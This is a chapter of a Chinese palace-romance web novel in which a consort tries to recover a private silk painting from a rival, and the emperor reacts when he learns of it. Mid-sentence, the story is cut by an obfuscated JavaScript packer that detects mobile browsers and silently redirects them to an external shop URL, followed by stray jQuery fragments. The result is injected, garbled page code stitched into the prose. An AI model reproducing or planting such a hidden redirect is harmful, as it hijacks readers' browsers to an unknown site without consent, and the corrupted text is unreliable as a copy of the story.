17. 胡诌
    澄云午膳后便去了蕊珠殿,却被告知嘉荣县主正在小睡,只好在殿外候着。

    虽是初春,可午后日头正好,连一片云都没有,澄云足足站了近一个时辰,宋珞珠才搭着婢女的手,款款而出。

    她一手执扇遮光,暖日的光影透过扇面洒在脸颊,衬的一张面庞愈加精致好看。

    宋珞珠衣着装扮不可谓不华贵奢靡,娇丽浓艳的海棠色石榴裙,春衫交领坠着颗颗珍珠,髻上甚至还簪了几支逾制的步摇。

    澄云飞快地扫了一眼便低垂了头:“奴婢见过嘉荣县主。”

    宋珞珠未应声,她便始终维持着福身行礼的姿势。

    许久,才听宋珞珠轻笑一声:“难怪姑母常赞妹妹性秉温庄,柔嘉表范,连下人都如此规矩,当真是御下有方。”

    她转头搭着婢女的手上了矫撵,舒舒服服地倚靠着,又斜看澄云一眼:“正好我要去寿康宫侍奉姑母,你便随我一起吧。”

    -

    褚韫宁备了许多裴珩爱吃的菜,临近晚膳,才等来宋珞珠。

    对方轻摇玉扇:“我每日都要去侍奉姑母,见妹妹的侍女懂事儿,便带着她一同去了。”说完一笑,掀眼看她:“妹妹不会怪罪吧。”

    褚韫宁坐在她对面,正烹着茶,闻言便停下来道:“澄云能得侍奉太后,是她的福分。”

    下人端上点心来,樱桃挂了水珠,颗颗鲜艳欲滴,红如玛瑙,新贡的蜜桃切了小块,俱由剔透的玉盘盛着。

    这类稀罕的贡物专供皇家,便是宠臣也只能偶尔得赏赐几颗,在她这却能成盘享用。

    宋珞珠不免多看了她几眼,似是有些不甘。

    她捏着银叉叉了一小块桃肉,轻拭嘴角:“妹妹让人送来的缭绫是不错,只是颜色过于素淡了些,我还是更偏爱些娇艳的花色。”

    褚韫宁浅笑:“姐姐容色姝丽,自是要盛装妆点,才不辜负如花般的容颜。”

    见她如此恭维,还拿这样珍贵的贡品来款待自己,宋珞珠便觉那幅丝绢画当真是拿中了她的要害,让她向自己服了软。

    于是言辞间也更有底气:“都说这皇家看重出身,我却以为,陛下与太后宠着谁,谁便尊贵,妹妹说呢?”话落又睨她一眼,唇角笑意意味深长。

    “姐姐身为县主,又得太后赐封号嘉荣,如何不尊贵?”褚韫宁四两拨千斤地挡回去。

    一道道菜品摆上桌,褚韫宁亲自替她盛了一晚羹汤,“陛下最爱这道姜汁雪蛤,姐姐尝尝。”

    听她提及这是“陛下最爱”,宋珞珠先是眼中一亮,而后像是意识到什么似的,状似不在意地接过:“是呢,御膳房总是要上这道汤羹,若我说,还是拿木瓜炖更好些。”

    褚韫宁垂眸敛去眼底一丝了然:“许是姜汁去腥吧。”

    宋珞珠浅尝一口,便蹙了眉,可仍是皱着眉头喝完了那一碗。

    桌上膳食用了大半,褚韫宁朝澹月使了个眼色,才转眸看一眼宋珞珠,缓缓开口:“县主也该知道,以陛下的性子,他的后宫不是旁人想塞谁就塞得进的。县主不若与我做个交易,我向陛下举荐县主,县主将那幅丝绢画交给我。”

    她语速缓缓,不疾不徐,听起来很是能蛊惑人心,仿佛已经将一切掌控在手中。

    宋珞珠看向她的眼神暗暗含了些许警惕与审视,半晌,才哼笑一声:“若论起资格来,姑母的举荐,难道不比你这位梁王妃更有份量?”

    她言语轻蔑,目光逼人。

    褚韫宁面色丝毫不变,眸光淡淡地迎上:“若当真如县主所说,那如今,我便不会有这个机会与县主说这样的话。”

    太后若当真说得上话,宋珞珠此刻怕是早就成了贵妃娘娘,岂会轮得到她来举荐?

    宋珞珠一噎,脸色也变得难看,思及自己如今的境地,进宫也有些时日了,却连个妃嫔的边儿都摸不到,心中愈发烦躁:“姑母都没法子,你能有?”

    褚韫宁只想拿回她的丝绢画,原本也没想当真举荐她,于是便信口胡言道:“陛下有一些不为人知的癖好,怪的很,我只与他说,想找人与我一同分担,他想必会同意的。”

    她一边说着,一边蹙眉,似乎想到了什么不好的回忆。

    严格来说,也不算胡诌。

    毕竟裴珩在床笫之间的确手段花样繁多,明明也不是什么特制的玩意儿,就是寻常随处都能看见的物件,什么腰带、珠帘、笔墨一类,却能在他手中弄出许多花样来。

    她原本以为,宋珞珠这般看重荣华富贵,即便自己这样说,她也定会欣然应允。

    谁料对方却目露惊恐地霍然起身,见褚韫宁诧异地看过来,才勉强扯了下嘴角:“妹妹如此大度,堪称女子表率。如此好事我便不与妹妹相争了。”

    褚韫宁不难听出她言辞间嘲讽之意,本不想说什么,不料对方敷衍又快速地回应后,就拂袖欲走。

    于是起身挽留:“晚膳尚未用完,姐姐这便要走吗?不若再尝些奉符新贡的樱桃?”

    裴珩还没回来,她若走了,这出戏要唱给谁看?

    见宋珞珠回瞪自己一眼,褚韫宁回给她一个笑:“若想得到高位与权力,那便要忍受常人所不能忍,姐姐说呢?”

    宋珞珠脚下更急,裙裾翻飞,须臾间便没了身影。

    澹月瞧着,不禁心中得意,还是小姐厉害,三言两语便解决了这人。

    褚韫宁却叹了口气,又不解地问道:“我说的有何不妥?她为何不愿?”

    世间岂会有十全十美之事?想要做那一人之下,必然要付出相应的代价,这有什么问题么?

    澹月闻言一滞。

    对手不战而败还不好吗?

    怎么还惋惜呢?

    转念又一想,宋珞珠不答应小姐提出的条件,小姐想要拿到手的丝绢画便始终要被她捏在手中。

    她小脸一垮,还平白被她吃了许多樱桃和蜜桃,实在可恶。

    “吃的不少跑的倒快!早知道就不拿出来给她吃了!”

    澹月因气愤声音不小,裴珩未进殿便听得清清楚楚。

    “不拿出来给谁吃?”

    殿门处传来男人淡淡的嗓音,裴珩大步进殿,牵起正欲行礼的人,将柔荑握在掌中,口中温声细语:“等多久了?”

    褚韫宁也不推拒,任由那手臂横在腰间,嗔他一眼:“自然等久了,澹月还说呢,早知道便不将陛下赏赐的东西拿出来。”

    那点儿吃食褚韫宁自是不放在眼中,只是这出戏却要唱下去才行。

    澹月早憋着气,甚是想发泄出来,主仆两个甚至不需要交换眼神。

    她眼珠一转,便上前道:“这桌膳食奴婢便先撤下了罢,让小厨房再做些来,只是辛

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13948337|145449||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    苦娘娘为陛下亲手备下的这些。”说着还回头看一眼膳桌:“都是陛下爱吃的菜。”

    那语气中半是惋惜半是替褚韫宁委屈,还不逾越半分做奴婢的本分。

    裴珩也顺着澹月那一眼,略略一扫,他将人抱到腿上,抬眸问澹月:“何人来过?”

    何人能知晓她如今住在此处?

    裴珩自知,他行事不羁,也不惧流言,可她却不行。

    她住进慎德殿一事,他下了死令,绝不许泄露半个字。成婚那日,将人直接掳进宫是他冲动,未能替她着想,事后更加是一发不可收拾。

    可裴珩不曾后悔,即便再给他无数次选择的机会,他仍会那样做。

    便是舍了这皇位不要,他也不可能任由她嫁与旁人。

    讽刺的是,正是这通天的权力,才能让他如愿得到他想要的人。

    所以,今日究竟是何人来过,让她亲自备菜款待,被人得知了如此见不得光的事还能神色如常。

    除非,那人早便知晓。

    除了那人,还会有谁?

    还不待他脸色冷下来,便听耳畔轻轻柔柔的声音道:“是我请了嘉荣县主,澄云午膳后去请的,却没料到她是晚膳时来的。不过也不打紧,下次我再做给陛下吃便是。”

    一番话看似柔弱大度,却无处不在告状,让裴珩直接接受到一个信息——她亲自做给他的菜都被宋珞珠吃了。

    裴珩本不是小气之人,自是不会计较一顿两顿的膳食,又不是没吃过没尝过,可褚韫宁亲手做的便不一样。

    他眉心拧着,让德顺去将殿内伺候的人都召来问话。

    见他这般兴师动众,褚韫宁忙拦下,又吩咐伺候的下人:“都下去吧。”

    裴珩没说什么,任由一众人退下,殿内只剩二人时,才似有不悦地看向她:“我还没发话,你倒是护短。”

    知道他只是言语间抱怨几句,褚韫宁靠在他肩头,唇角轻弯:“是我请人来的,你不能怪他们呀。”

    她想了想,还是说了出来:“宋珞珠手里有那副丝绢画,我想要回来。”

    她声音轻轻的,低低的,在偌大的殿中似乎收不到任何回音。

    殿内静默。

    褚韫宁眼睫轻垂,头一次,觉得时间每一息都如此漫长,像是濒死之人久久也等不到审判。

    半晌,裴珩才反应过来:“她有那画?”

    像是十分惊异,褚韫宁都感觉到身下坐着的大腿都绷紧了,若不是她还坐在上面,他怕是要跳起来。

    褚韫宁默默起身:“前两日,她来慎德殿时,刻意让我瞧见的。”

    裴珩一手握拳抵在大腿上,眉心紧拧:“怎不早告诉我?”

    他还以为自己一时大意丢在了殿中哪个角落。

    裴珩唤来德顺:“去传朕口谕,让沈澜即刻带人去蕊珠殿,搜宫。”

    话落又立刻改口:“不,你亲自过去,将人带过来审,避着些人。”

    那图私密得很,岂能教旁人瞧了去。

    褚韫宁见他如此神情和反应,岂能不知,宋珞珠手中的丝绢画根本就不是他给出去的。

    那她是如何拿到的?

    若说抢的,绝无可能,何人能从他手中抢走东西?

    若说捡的,褚韫宁瞥他一眼。

    大约也不能,谁会这般不靠谱?